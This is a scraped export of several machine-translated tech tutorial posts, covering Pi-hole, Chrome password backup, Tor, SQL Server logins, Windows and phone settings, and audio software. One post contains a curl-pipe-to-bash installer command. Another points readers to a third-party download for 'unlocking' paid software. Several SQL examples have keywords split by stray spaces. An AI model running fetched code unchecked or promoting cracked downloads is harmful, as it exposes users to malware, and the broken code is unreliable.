explore this interface in more detail!\nResovle problem While configuring Pi-Hole, you may encounter the following error in the Terminal window:\n'Could not resolve host FTL Engine not installed.' If you see this message, run the following Terminal command:\nsudo nano /etc/resolv.conf This command will launch the resolv.conf file in the Nano editor. You need to add the IP address of the selected DNS provider to the resolv.conf file. For example, this tutorial is using Google as a DNS provider, so a quick search on Google suggests that 8.8.8.8 \u0026nbsp;should be added to resolv.conf:\nnameserver 8.8.8.8 To save the changes, use the shortcut Ctrl+ O, then press Ywhen prompted.\nClose resolv.conf using the Ctrl+ shortcut X.\nRelaunch the Pi-Hole setup conversation by running the following Terminal command:\ncurl -sSL https://install.pi-hole.net | bash You can now complete the setup dialog box without any errors.\nUpdate the router: Create an ad blocker all over the network You are ready to update your device or router to use Pi-Hole. If you want to block ads on all devices connected to the network, you'll need to change the router's DNS settings to point to the Raspberry Pi device.\nThe process of changing the router's DNS settings will vary depending on the router model, but overall, you'll need to:\nGo to the admin page of the router. Log in with your username and password. If you do not know this information, you most likely used the default manufacturer's username and password. Find this information on the manufacturer's website, or in the documentation that came with the router. Find any tab, menu or section containing the words 'DNS server' or 'DHCP server'. Note that these settings may be hidden in the Advanced setup section . Update the router's primary DNS server to the Raspberry Pi's IP address. If you don't know this address, you can access it by opening the Raspbian window from the Terminal and running the following command: hostname -I For instructions on how to update your router's DNS settings, check the manufacturer's website or the documentation that came with the router.\nHow to block online ads on specific devices You can also change DNS settings for specific devices and operating systems.\n1. Windows To update DNS settings on Windows:\nLaunch Control Panel. Navigate to Network and Internet\u0026gt; Network and Sharing Center\u0026gt; Change adapter settings . Select the connection you want to configure. Right-click Local Area Connection\u0026gt; Properties . Select the Networking tab . Select TCP / IPv4 or TCP / IPv6. Navigate to Properties\u0026gt; Advanced\u0026gt; DNS and then click OK. Select Use the following DNS server addresses . Replace the addresses in this section with the IP address of the Raspberry Pi. Windows PC is now set up to use the Pi-Hole ad blocker.\n2. Linux If you are a Linux fan, you will need:\nNavigate to System\u0026gt; Preferences\u0026gt; Network Connections . Select the connection you want to configure, then click Edit. Select either the IPv4 Settings or IPv6 Settings tab. In the DNS server field , enter the IP address of the Raspberry Pi. Save the changes by clicking Apply. Alternatively, you can update your DNS settings by opening the /etc/resolv.conf file .\n3. macOS To update DNS settings in macOS:\nSelect the Apple logo on the Mac toolbar. Navigate to System Preferences\u0026gt; Network . Select the connection you want to edit. Select the connection you want to edit Click on Advanced . Select the DNS tab . Select the DNS tab Click the + icon and enter the IP address of the Raspberry Pi. Save the changes by clicking Apply\u0026gt; OK . Pi-Hole will collate all your requests with the blacklist and block as many ads as possible.\n4. iPhone If you own an iPhone or iPad, then:\nLaunch the Settings application . Select WiFi and tap on your home network in the list. Select the DNS field . Delete all existing DNS servers and replace them with the Raspberry Pi IP address. 5. Android To block ads on Android:\nLaunch the Settings application . Choose WiFi. Press and hold on the WiFi network you want to update. Select Modify network\u0026gt; Advanced options . Click DHCP , then Static. In DNS 1 , enter the Raspberry Pi IP address. Click Save. While using the Raspberry Pi as an ad blocker, it can also be used as a WiFi access point or personal web server.\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWawqK2iYr%2Biv8%2BbnKuqqWK9qnnIp6uoZZGjeqKwjJujqJubmr8%3D\n","link":"/post/turn-your-raspberry-pi-into-an-ad-blocker/","section":"post","tags":null,"title":"Turn your Raspberry Pi into an ad blocker"},{"body":"You all know the password storage and management functionality on Google Chrome. You use the password saving function of Google Chrome browser, so you often don't remember your password. So when you log into another computer, it will be difficult to remember the password.\nGoogle Chrome has built in a convenient function to manage passwords that have been memorized in the browser, all user passwords are saved into a file, you can backup this file to a safe location to Use when needed.\nPassword backup First, you need to turn off the Google Chrome browser, then point to the Google Chrome AppData folder : C: Users [User account name] AppDataLocalGoogleChromeUser DataDefault .\n  Next, you can backup the Login Data file to a folder you like (to avoid confusion, you can rename it to another file in the folder you save).\n  Password recovery To recover the password, copy the Login Data file to the Google Chrome AppData folder (if you change the name, you must change it back to the Login Data name ).\nWith this convenient function of Google Chrome can partly help you keep passwords of websites, minimize the forgotten password access. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kr6Kvyq6nZpmemXqzsdKtpqudXaWutL%2FWqKmdq12ku26zzqiepZ1dmLWzu8ye\n","link":"/post/backup-and-restore-passwords-on-google-chrome/","section":"post","tags":null,"title":"Backup and restore passwords on Google Chrome"},{"body":"   Bill Gates, yesterday (March 15), voiced a derision for Google's $ 100 laptop production project and its partners. This is a project to produce cheap laptops for people in developing countries. This project is being implemented at the Massachusetts Institute of Technology with support from Google. However, cheap laptops like this lack a lot of features compared to typical personal computers. By design, these computers will not have hard drives and software. \"What do you want to do with a computer that doesn't have a drive along with a 'tiny' screen,\" said Microsoft president and software architect at Microsoft's Government Leaders Forum. \"Hardware is only a small part of the total cost of computing,\" Gate said. High cost means synonymous with network connectivity, applications and support. Also at the forum, before commenting on the $ 100 laptop project, Gate demonstrated its new Ultra-mobile Computer product. A compact computer with a 7-inch touch screen. This type of product will be sold for between 599 and 999 USD. \"If you want people to share a computer, share a broadband connection, have an expert to help users, find a really nice computer that you can really read and enter. His text, \"Gates said. Gates thinks these computers can only be shared. This goes against the name and philosophy of the project \"One Laptop per child\" (Every child will have a cheap laptop). The representative of the project did not have any official comment about Bill Gates' viewpoint. HVD\nncG1vNJzZmismaXArq3KnmWcp51kr6q4y2aemqyVqHquu8KknJ1lpJ2ybn2PaWSlmaCpvLF5z6umo52TqQ%3D%3D\n","link":"/post/bill-gates-mocked-the-100-laptop-project/","section":"post","tags":null,"title":"Bill Gates mocked the $ 100 laptop project"},{"body":"Instead of having to manually change the IP address on your computer or use hidden IP software to browse the web anonymously with regular web browsers. You can use the Tor Browser web browser directly to browse the web anonymously.\nTor Browser full name is Tor Browser Bundle is a web browser similar to Internet Explorer, Google Chrome or FireFox but it is different from normal web browsers that you can browse anonymously effectively, access Facebook or blocked websites.\nYou can access the internet safely, without leaving your browsing history because the Tor Browser automatically changes the IP address on your computer to anonymize each time you access the internet. You will not have to worry about bad guys monitoring your online activity to steal your account, not your personal information as you browse the web.\nWith these websites blocked you can easily access them on the Tor Browser. The browser automatically changes the IP address so it can help you access any website.\nFirst, you need to download the Tor Brower browser and install it on the system. Here are instructions for installing the Tor Brower browser for those of you who don't know.\nStep 1: Run the downloaded exe file, on the Installer Language interface select the language and select OK .\n  Step 2: Next in the Choose Install Location section, click Browse to select the folder to install the browser. Then click Install to install.\n  You wait for the program to install automatically.\n  Step 3: You can uncheck Run Tor Browser if you do not want to run the browser when finished. And uncheck Add Start Menu \u0026amp; Desktop shortcut to avoid adding Tor Browser shortcuts to Start Menu and desktop. Click Finish to complete.\n  Use Tor Brower to browse the web You double-click on the Tor Brower icon on the desktop, the Tor Brower interface appears, select Connect to start anonymous browsing.\n  Then you should visit the website http://www.whatismyip.com/ to view the IP address, location currently accessing the internet. If the internet access is different from where you live it means that everything is working normally.\nSo you can start anonymous browsing with the Tor Browser .\n  Note: you must always access the websites using SSL / TSL (https: //) otherwise your online activities will be detected.\nIn addition, you need to know that the Tor Browser does not protect your computer from malware on the Internet, but with the feature of automatically browsing anonymously, accessing blocked websites also makes a difference of the Tor Browser. .\nncG1vNJzZmismaXArq3KnmWcp51kr7O71qycZqyYmnq4scFmmKennq66sMHSpbBmr5mptW7Ax55kraeiYq%2Bzu9asnKs%3D\n","link":"/post/browse-the-web-anonymously-with-the-tor-browser/","section":"post","tags":null,"title":"Browse the web anonymously with the Tor Browser"},{"body":"Microsoft Office 2010 and Google Apps both offer a wide range of office processing applications. However, to choose deployments for businesses, you need to consider many factors mentioned in the following article.\nIf users are interested in free use of the product, Google Docs / Apps is a valuable alternative to Office 2010, but for businesses it doesn't. Users will decide which application is dependent on their own business needs, the budget as well as the types of content you want to create and share with colleagues.\n  Two office applications that rival opponents\nIf a business needs to be concerned about the value of documents, emails, spreadsheets, Google Docs may be a good choice. Google Docs is also an ideal working environment for small businesses and businesses with limited capital to invest in infrastructure, copyright licenses to use software as well as IT staff to manage. Reason them.\nIf the number of employees of a company is less than 20, then Google is an attractive solution, businesses can target Google Apps (including Google Docs) with management costs of $ 50 per employee in one. year, while the cost for an Office 2010 Professional version is up to 499 USD (only allowed to install for 2 PCs). Prepaid costs to own Office 2010 can be a major obstacle for companies, although it has cheaper versions like Home and Business Edition that sell for $ 279 but lack two important applications, Access. and Publisher.\nHowever, selecting Office 2010 will be obvious if you pay attention to the six main reasons below that Office 2010 can bring :\n- Enhancing the ability to work : It would be a mistake to assume that all small businesses only have small work needs. Accounting, insurance activities or other data processing activities that require features such as charts are the advantages that Excel 2010 brings towards handling financial operations. Excel 2010 also has a 64-bit version that allows businesses to create spreadsheets larger than 2GB (limited to 32-bit Office 2007 versions) and of course its performance will is much higher. The limit that you encounter when using Google Docs is 256 columns, 200,000 rows and 100 sheets depending on what comes first.\n- Although Google Docs is equipped with features such as SAS 70 Type II certification (A CPA auditing standard), it is not an option suitable for HIPAA, PCI or any other standard. .\n- Take advantage of graphics power : If your work content is heavy graphic presentations, Office 2010 will prove its appeal with the ability to take advantage of graphics power much larger than Google Docs. In addition, editing documents of images and videos in Word and PowerPoint 2010 is also one of the highlights of the ability to take advantage of graphics power.\nOne of the new features of PowerPoint 2010 is Broadcast Slideshow, which allows users to play it to remote viewers via a web browser. Meanwhile, although Google Presentations has the ability to improve the display of image and chart files, the features are still weaker than PowerPoint.\n- The need for database applications, Access 2010 is a powerful tool that integrates excellent VBA programming environment. However, to use Access 2010 you have to spend 499 USD to buy the Office Professional version.\n- Friendly : Office is still the most widely used software suite, high performance and will definitely be more business-friendly than Google Docs. This will help businesses not lose the cost of training used for employees.\n- Control ability : Google provides a collaborative but rather limited environment, even administrators can not control it. In contrast, Office 2010 and SharePoint 2010 allow administrators to control collaborative environments, reporting changes and activities within a business organization.\nIn general, the advantage is inclined to Office 2010 when it is necessary to select an office suite for businesses. Google Apss is free, but only enough to meet the normal user needs.\nncG1vNJzZmismaXArq3KnmWcp51kr7a%2FyKecrKuVqHqktM6oqp5ln5uzqq%2FEZmlpaWBivLN5xqimoKSVYq6xvNI%3D\n","link":"/post/businesses-choose-office-2010-or-google-apps/","section":"post","tags":null,"title":"Businesses choose Office 2010 or Google Apps?"},{"body":"The CREATE LOGIN command is used to create a login account (Login) connecting to SQL Server. The login account will then be mapped to the user account (so before creating the user in SQL Server you must create a login account first).\nThere are 4 types of login accounts in SQL Server.\nLogin account uses Windows Authentication authentication. Login account using SQL Server Authentication authentication. Account login from certification. Account login asymmetric keywords. Syntax Create a login account using Windows Authentication authentication\n CREATE LOGIN  [ten_mienten_dangnhap] FROM WINDOWS [ WITH DEFAULT_DATABASE = ten_cosodulieu | DEFAULT_LANGU | DEFAULT_LANGU AGE = ten_ngonng];  Create a login account using SQL Server Authentication authentication\n CREATE LOGIN t en_dangnhap WITH PASSWORD = { 'matkhau' | matkhau_bam HASHED } [ MUST_CHANGE] [ , SID = giatri_duynhat  | DEFAULT_DATABASE = ten_cosodulieu  | DEFAULT_LANGUAGE = ten_ngonngu  | CHECK_EXPIRATION = { ON | OFF }  | CHECK_POLICY = { ON | OFF }  | CREDENTIAL = ten_c  | CREDENTIAL = ten_c hungthuc];  Create an account login from the certificate\n CREATE LOGIN FROM CERTIFICATE te n_chungnhan;  Create an account asymmetric keyword login\n CREATE LOG IN ten_dangnhap FROM ASYMM ETRIC KEY ten_khoabatdoixung;  Variable name or variable value ten_mien\nName of the Windows domain account (Windows domain).\nNetwork basics: Part 6 - Windows Domain\nUsername\nName of the login account.\nten_cosodulieu\nDefault database\nten_ngonngu\nDefault language for login account.\nCHECK_EXPIRATION\nThe default is set to OFF. This option determines the password expiration policy. Must set CHECK_EXPIRATION = ON if using MUST_CHANGE.\nmatkhau\nPassword to login account.\nmatkhau_bam\nThe hash function value of the login password.\nMUST_CHANGE\nUsed when forcing the password to change after the first login.\ngiatri_duynhat\nThe Globally Unique Identifier (GUID) of the login account. If omitted, SQL Server will specify the GUID for the account.\nten_chungthuc\nAuthentication name of the login account.\nten_chungnhan\nCertificate name of the login account.\nten_khoabatdongxung\nThe name of the asymmetric key of the login account.\nNote: See the ALTER LOGIN and DROP LOGIN commands.\nExample using Windows Authentication authentication\n CREATE LOGIN [t est_tenmienquantrimang] FROM WINDOWS ;  This CREATE LOGIN command will create a new login account [test_tenmienquantrim] and use Windows authentication.\nExample using SQL Server Authentication authentication\n CREATE LOGI N quantrimang WITH PASSWOR D = 'mk123';  The above CREATE LOGIN command creates the login account quantrimang using SQL Server authentication and the password is mk123.\nIf you want to change the password after the first login, use the command below.\n CREATE LOGIN quantrimang WITH PASSWORD = 'mk123' MUST_CHANGE, CHECK_EXPIRATION = ON;  Note that MUST_CHANGE cannot be used if CHECK_EXPIRATION is OFF. If you turn OFF, it will fail.\nExample of using a certificate\n CREATE LOGIN quantrimang FROM CERTIFICATE chungn han1;  The above example creates a new Login named quantrimang, using the chungnhan1 certificate.\nExample using asymmetric key\n CREATE LOGIN qu antrimang FROM ASYMMETRI C KEY khoa_batdoixung1;  The above CREATE LOGIN command creates a new Login quantrimang using the asymmetric lock____dodoungung1.\nPrevious article: Grant / Revoke permissions in SQL Server\nThe following article: ALTER LOGIN command in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZqSfnLavecKopKaZnpl6qrqMrKilZaOav7ex0Q%3D%3D\n","link":"/post/create-login-command-in-sql-server/","section":"post","tags":null,"title":"CREATE LOGIN command in SQL Server"},{"body":"Perhaps you are too familiar with the Google Photos photo storage application, but its excellence is not just about storage. In addition to providing a variety of photo editing options, it also provides users with some handy video editing features. This article will introduce you to some video editing features on Google Photos.\n22 tips to help you master Google Photos How to get the embed code on Google Photos How to create and manage shared albums on Google Photos How to cut videos in Google Photos Step 1 . Open the Google Photos app and access Albums .\nStep 2 . Touch Videos .\n  Step 3 . Open the video you want to edit and touch the edit icon.\n  Step 4. Adjust the sliders at the top and bottom of the video frame to cut a specific part of the video.\n  Step 5 . Touch Save to save changes.\n  How to stabilize videos in Google Photos Follow steps 1 to 3, tap Stabilize .\n  After it displays Stabilized , tap Save .\n  How to rotate videos in Google Photos Follow the instructions in the article How to rotate videos on Android with Google Photos to know how to do them.\n  In addition to the above video editing capabilities, Google Photos also offers a surprisingly powerful movie creation tool. It allows users to combine up to 50 photos and videos, you can even add music to movies if you want.\nHow to create movies in Google Photos Step 1 . Open the application and touch the Assistant tab.\nStep 2 . Touch the Movie icon.\n  Step 3 . Select the New film option.\n  Note: Instead of selecting the New film / New movie option , you can also choose pre-installed settings that are also extremely attractive. You select a preset and the person you want is in the video on the next screen and Google will automatically create a movie for you. This is a great feature.\nStep 4 . Choose one or more videos, photos.\n  Step 5. Adjust the slider to select the part of the video you want for the movie.\n  In the case of images, adjust the slider to change how long you want to display the image.\n  Step 6 . Touch the music note icon.\n  Step 7 . Add music from Google lists or create a silent movie (except when using videos).\n  Step 8 . Some additional options you can add are changing the order of photos, videos, hiding or displaying the cut of the video, mute the video, inserting another clip, duplicating and deleting the video by clicking the three button. vertical dots.\n  Step 9 . When you're satisfied with the movie, tap Save .\n  How to share movies\nStep 1 . Open your movie.\nStep 2 . Click on the share icon.\n  Step 3 . Create links or share directly on social networks.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFuwsidnKirXZ67brPOqJ6lnV2ltbDAzqw%3D\n","link":"/post/how-to-edit-videos-in-google-photos/","section":"post","tags":null,"title":"How to edit videos in Google Photos"},{"body":"Recently, many people download YouTube videos with IDM software, which often suffers from a video error (loss of picture or loss of voice), due to the fact that this download support software usually automatically retrieves all the downloadable links to display. . Therefore, sometimes an MP4 video file will be split into both MP4 and M4A. If you do not notice and download M4A video file, you will only hear the sound and not see the image and vice versa. Please refer to how to handle the above error.\nDownload Internet Download Manager 6.25\nFirst, download and install the MediaHuman YouTube Downloader software\nStep 1: Open the YouTube video you want to download and copy the address link   Step 2: Open the MediaHuman application and click Paste url   Step 3: When the video has appeared in the application interface, select the quality of the finished file and then click the Download icon (down arrow)\n  With just 3 simple steps, you have downloaded videos from YouTube to your computer completely including pictures and audio already.\n3 ways to download MP3 files from YouTube online 4 easy steps to extract music and audio from YouTube videos Adjust YouTube videos on your computer with a smartphone Hope the article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRo7GtsYywn56mXa68tsDUm5xmrpmZsrC%2FjKWmmpyVmXq4tdOhZKKcnWK2tHnCqKmrraCpsqU%3D\n","link":"/post/how-to-handle-when-youtube-videos-loaded-with-idm-is-corrupted/","section":"post","tags":null,"title":"How to handle when YouTube videos loaded with IDM is corrupted"},{"body":"Startup Repair is a Windows recovery tool that can fix some system problems that prevent Windows from starting. Startup Repair scans your PC for problems and then tries to fix them so it can boot up correctly.\nStartup Repair is one of the recovery tools in Advanced Startup Options . This toolkit is located on your PC's hard drive (recovery partition), Windows installation media, and recovery drive.\nThis guide will show you how to run Startup Repair to fix problems that prevent Windows 10 from loading.\nNote:\nStartup Repair can only fix certain problems, such as missing or corrupted system files. It cannot fix hardware errors, such as damaged hard drives or incompatible memory, nor does it protect against virus attacks.\nStartup Repair is not designed to fix Windows installation problems, nor is it a backup tool, so it cannot help you recover personal files, such as photos or documents.\nThe Startup Repair log file is located at:\nC:WindowsSystem32LogfilesSrtSrtTrail.txt  Here's how:\n1. Boot into Advanced Startup Options .\n2. Click Troubleshoot.\n3. Click Advanced options.\n4. Click Startup Repair.\n5. If prompted, select the operating system you want to perform boot repair.\n6. If prompted, select the admin account to provide credentials.\nYou will not be prompted for an admin password if you boot from a Windows installation USB or recovery drive.\nEnter the chosen admin password and click Continue.\n7. Start Repair will now start diagnosing your PC ( Diagnosing your PC ) and try to automatically fix it.\n8. If the repair fails, you will see a summary of the problem in the log file.\nOption\nRun Startup Repair again: Click Advanced options and go to step 2 above. Sometimes, it may be necessary to run Startup Repair up to 3 times and restart the PC each time to fix boot problems.\nBoot Windows 10: Click Advanced options , go to step 2 above, but click Next instead.\nTurn off the PC: Click Shut down .\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqlo3q0wMCrq66oXaeysa3Iq2Sipl2stq%2BwzrCqZmlg\n","link":"/post/how-to-run-startup-repair-in-windows-10/","section":"post","tags":null,"title":"How to run Startup Repair in Windows 10"},{"body":" There is an option in the Apple Messages settings to enable the app to use SMS when when messaging. Usually this is enabled by default, but once turned on, Apple Messages will automatically send using the SMS protocol when unable to use...\nPart 1of 3:\nEnabling SMS in Apple Messages  Open the Settings app.\n  Tap Messages.\n  Tap the Send as SMS slider to enable. Green indicates the feature is on while grey indicates it is off. Messages will automatically switch between sending messages over Wi-Fi, cell data, or SMS (in that order) depending on which service is available at the time.  Part 2of 3:\nForcing a Message to Send as SMS  Open the Settings app.\n  Tap Wi-Fi.\n  Tap the Wi-Fi slider to disable. Green indicates the feature is on while grey indicates it is off.\n  Tap Settings. This is in the upper left corner and will take you back to the Settings menu.\n  Tap Cellular.\n  Tap Cellular Data slider to disable. Green indicates the feature is on while grey indicates it is off.\n  Open Messages.\n  Tap a chat.\n  Send a message. The message will be sent via SMS text since neither Wi-Fi or cell data is available. This can be used to send messages when you or the recipient are having trouble sending or receiving Wi-Fi message, but typically the process won't be necessary since Messages will handle the conversions automatically.[1] Make sure to re-enable your Wi-Fi and cell data after you are finished if you wish to use internet features.   Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVo7Furc1mmKmonJp6rrHSrJignV2WwG6tjK2csaxdorK0v8CgnA%3D%3D\n","link":"/post/how-to-send-an-apple-message-as-a-text-message/","section":"post","tags":null,"title":"How to Send an Apple Message As a Text Message"},{"body":"This pretty useful feature can be disabled by default, here's how to enable it for your reference.\nFirst, open the Windows Settings app. You can use the link in the Quick Settings menu or press Windows + i on your keyboard.\n  When the Settings menu opens, select ' Personalization ' in the list on the right, then click ' Taskbar '.\n  On the Taskbar settings screen, click ' Taskbar Behaviors '.\n  When the list of options appears, check the box next to the option ' Show badges (unread messages counter) on taskbar apps '.\n  Now close the Settings menu. The next time you open a messaging or social networking app with unread messages or notifications, you'll see a red numbered badge just above its icon in the taskbar. The number in the badge shows the number of unread in-app notifications.\n  In case you want to disable this feature, just go back to Settings \u0026gt; Personalization \u0026gt; Taskbar \u0026gt; Taskbar Behaviors and uncheck the ' Show badges (unread messages counter) on taskbar apps ' option to turn it off.\nWindows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYpMRuwMeeZKetnZeys3nOn2SupqKarqV5zairop6ZmK61tc6nqmannmKusbzLopqarJmku261wqilrGWZo3q1tMRmrqKmlKTEtHmQamStmaOgr6K%2B\n","link":"/post/how-to-show-the-number-of-unread-notifications-on-application-icons-in-the-windows-11-taskbar/","section":"post","tags":null,"title":"How to show the number of unread notifications on application icons in the Windows 11 taskbar"},{"body":" Instructions for cleaning touch screens for phones and tablets 7 simple steps to make your laptop as clean as new 10 tasks to clean up your Windows computer should not be ignored Laptop screens are often places that accumulate dirt and debris of food and foreign objects after a period of use. It is important to know that using a mild detergent to clean the laptop screen because the LCD surface is easily damaged.\nIf you don't want to buy a dedicated screen cleaner, you can use a towel made of micro synthetic fibers and a vinegar water solution to clean the laptop screen. Let's TipsMake.com refer to the instructions to clean laptop screen very simple at home in this article offline!\nMethod 1: Clean the screen with a synthetic microfiber towel 1. Turn off your laptop computer, unplug the power cord and battery\n  Cleaning the laptop screen while operating can cause permanent damage, so you should ensure safety and completely turn off the device.Note : Do not turn on in sleep mode.\n2. Prepare a microfiber synthetic towel\n  Microfiber synthetic yarn made from material without lint and very soft. If you use a regular towel, t-shirt or other type of cloth, they may leave the cloth debris on the screen or scratch the surface.\nAvoid using paper products. Do not use napkins, paper towels, toilet paper or other paper as they may scratch and damage the screen. Handy microfiber microfiber towels are suitable for cleaning all types of screens and lenses. 3. Use the cloth to gently wipe the screen\n  Using a towel to wipe a line can remove dirt and debris on the screen. Remember to gently wipe without using strong force, as pressing too hard can damage the screen.\nWhen wiping with a circular motion, you can touch hard-to-reach points. Do not rub the screen, you will damage the pixel because it is too hot. 4. Wipe the edges of the laptop with a mild cleaning solution\n  If the screen border is dirty, you can use regular household cleaning solutions and paper towels.Note : Be careful not to touch the screen.\nMethod 2: Use cleaning solution 1. Turn off the monitor, unplug the power cord and battery\n  This method uses liquid solution to clean the screen, it is important to turn off the computer and unplug the power cord.\n2. Mix mild cleaning solution\n  Ideal cleaning solution is distilled water that does not contain chemicals and is gentle for laptop screens. If you need to use a stronger solution, you can mix 50/50 white vinegar and distilled water to bring that unexpected effect.\nUse only pure white vinegar instead of apple cider vinegar or other vinegar. Distilled water is better than tap water because it does not include chemicals. The manufacturer does not recommend the use of cleaning solutions containing alcohol, ammonia or other strong solvents for LCD screens. 3. Pour the solution into a small spray bottle\n  This is a kind of spray that pushes from the top to create a vapor, like a perfume bottle. Pour the solution into the spray bottle and close the lid.Note : Do not spray directly on the screen.\n4. Put some solution on a microfiber synthetic towel\n  Non-static towels and fabric fibers are most suitable. Do not use a towel often because it may scratch the screen. Do not soak the towel but only moisten it with a spray bottle.\nWet towels may drip or slide when cleaning the screen, the cleaning solution may leak bezel and cause permanent screen damage. Spray the solution into a corner of the cloth so the towel is not too wet. 5. Wipe with circular motion\n  Wiping with circular motions can remove stripes. Press gently and evenly on the towel. Use only enough force to expose the towel to the laptop screen. Do not press your finger on the cloth or screen, because excessive force when cleaning the screen may permanently damage the LCD matrix and cannot be used anymore.\nKeep the top or bottom of the screen to prevent contamination during cleaning. You may need to wipe it several times to remove stains. In addition, you must also moisten the towel during cleaning, depending on the number of times the screen is cleaned. Method 3: What should not be done 1. Do not moisturize directly on the screen\n  In any case, do not spray the cleaning solution directly onto the laptop screen. This makes it easier for water to flow into the device, so there should be minimal restrictions. Use only water on soft fabric.\nDo not immerse the towel in water. Wet towels will drip water on the device causing damage. If you accidentally use too much water, you should squeeze it thoroughly until the water is gone. 2. Do not use regular cleaning solution to clean the screen\n  The safest solution for monitors is water and vinegar or specialized cleaning solutions for LCD screens. Do not use the following substances:\nWindow cleaning solution; Multi-purpose solution; Dishwashing liquid or any type of soap. 3. Do not rub the screen\n  If you press too hard you can permanently damage your laptop screen. Rub lightly in a circular motion when cleaning the screen. Do not use a brush or anything other than a soft cloth to clean the screen.\nRefer to some more articles:\n11 acceleration tips for iPhone and iPad for a long time 8 ways to speed up the old iPhone after updating to iOS 11 How to clean up Windows 10 according to the timetable Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabnJqur7XNoGSlmaCpvLF50pypnp2eqHqivsRmnLGsopq6prjYZqqipaChsm6t02afqKWV\n","link":"/post/instructions-for-cleaning-laptop-screens-are-extremely-simple-at-home/","section":"post","tags":null,"title":"Instructions for cleaning laptop screens are extremely simple at home"},{"body":"The couple helps increase the sound quality\nFor me or for most people, there is a preference for listening to music and listening to sounds as well as possible. If possible, you will try to buy yourself good transmitting equipment such as speakers, quality headphones, or good transmitters, . And of course the cost is very expensive.\nSo is there a way to a normal transmitter is a computer, a set of normal speakers or a headset do not need too good you can still listen to music with high sound quality ???\nOf course the answer will be yes! Everyone can completely improve the sound quality when listening to music, just need 2 support applications: SRS HD Audio Lab Gold and Foobar2000 .\nFoobar2000 : The application is well known among those who work in the field of sound or music enthusiasts. Foobar 2000 will replace the usual music player we often use: Windows media player or KMP, . SRS HD Audio Lab Gold : enhance sound quality from your device. Very famous tool of DTS Listen.   Thus, with only 2 software support above, no need to invest more equipment, you can enjoy sound with 1 quality increased significantly . I know about these 2 tools quite a long time, I happened to be a good friend of the music and cop. Today will guide you to download, install and briefly about how to use.\n1. Download SRS HD Audio Lab Gold and install it SRS HD Audio Lab is an application with a high price of ~ 30 $. So when downloading you need to install and \"unlock\" for it.\nFirst, download the software using the following link:\u0026nbsp;\nhttp://www.mediafire.com/?iu5q74lbim7b39w\nHave you unzipped the downloaded file. Run the file: SRS_HD_Audio_Lab_1_1_25_0.exe to install. The installation process is like normal software. Once installed, do not turn on the software yet because it has not been unlocked. Unlock the software by the following:   Note: the default software installation location will be: C: Program FilesSRS LabsSRS HD Audio Lab\n\u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; SRS HD Audio Lab (HAL) can be considered the most comprehensive audio plug-in available! Compatible with almost all PC-based media players, HAL is the ultimate advanced audio suite for computers. HAL allows users to select audio content (such as music, movies or games) and then select the type of speaker (e.g. headphone, internal laptop speakers or external speakers) to sound Great bars suitable for your listening interest.\nBased on the content being played, patented SRS technologies embedded into HD Audio Lab automatically select the optimal audio setting for the user. Users can then personalize the sound by using advanced controls that provide deep, rich bass, providing 3D enhancement for stereo and mono content, restoring vocals and frequency sounds. High numbers and more.\nHere are some key features of 'SRS HD Audio Lab (formerly SRS Audio Sandbox)':\n· Sleek interface design, easy to use animation\n· Interesting and real surround sound · Enjoy deep, rich bass · Choose advanced options for a truly customized listening experience · Customizable settings for headphones \u0026amp; desktop speakers . Provides exceptional compatibility with the widest range of media players and sound cards\n2. Download high quality music software Foobar 2000 Download Foobar2000 by clicking the following link:\u0026nbsp;\nhttp://www.foobar2000.org/download\nThis is a free application, so you just need to double-click the downloaded file: foobar2000_v1.2.9.exe and install normally.\nMain function:\nSupport audio formats: MP3, MP4, AAC, Audio CD, WMA, Vorbis, Opus, FLAC, WavPack, WAV, AIFF, Musepack, Speex, AU, SND . and more with additional components. Gapless playback. Easy to customize user interface layout. Improve tagging capabilities. Support ripping audio CDs as well as transcoding all audio formats supported by the Converter component. Full review support. Adjust the shortcut. The open component architecture allows third party developers to extend the functionality of the player. Hopefully, you can complete the installation of the above two tools. The way to use it is also very simple: Foobar2000 is similar to KMP or Windows media player.\nAnd SRS HD Audio Lab Gold interface as shown:\n  With music we are one\nncG1vNJzZmismaXArq3KnmWcp51kuaq%2F056lZqyfYrSzscCtZKato56wbsPIrZ9mq6KoeqmwjJqsnaGfYrmiroygpqWcXZa7pXnFqKabmaJnfXF8\n","link":"/post/listen-to-great-music-with-srs-hd-audio-lab-gold-and-foobar2000/","section":"post","tags":null,"title":"Listen to great music with SRS HD Audio Lab Gold and Foobar2000"},{"body":" snapdragon 865 | TipsMake.com    samsung thinks that exynos 990 is as good and powerful as snapdragon 865, so both versions of galaxy s20 can give users the same good experience.   although this is good news for users in korea, it is also disappointing for samsung itself.   last month, qualcomm unveiled the snapdragon 865 chip that will be used on smartphones from various manufacturers, including asus, vivo and fcnt (fujitsu connected technologies limited).   snapdragon 865 is one of the most powerful 5g chips in the world at the moment.   during the qualcomm snapdragon tech summit event, oppo had official information about the new smartphone line in 2020.   according to recent information, pubg mobile will soon support 90fps and 10-bit on smartphones respectively.   the snapdragon 865 is the latest and most powerful mobile chip qualcomm has ever made, but it may not yet be the most powerful smartphone in the world.   when qualcomm updates the graphics driver through the play store, users may see more patches to optimize performance for new games, fix problems faster and easier ...   the snapdragon 865 is equipped with an adreno 650 587mhz gpu chip, which is an improvement over the snapdragon 855 adreno 640 graphics chip.   865 snapdragon and apple a13, which cpu has more impressive performance?   the chip achieved a record score on the geekbench platform with 4,149 points for single-core and 12,915 multi-core tests.   the difference in performance between samsung products using snapdragon and exynos chips has been mentioned for years.   samsung thinks that exynos 990 is as good and powerful as snapdragon 865, so both versions of galaxy s20 can give users the same good experience.   although this is good news for users in korea, it is also disappointing for samsung itself.   will these two companies not have smartphones with the most advanced processors this year?   the price of redmi k30 pro will be very loving, being evaluated as a smartphone equipped with high-end snapdragon 865 chip with the cheapest price today.   the mi 10 duo is one of xiaomi's efforts in directing its smartphone to a more advanced segment.   red magic 5g is nubia's latest gaming smartphone and is also the world's first 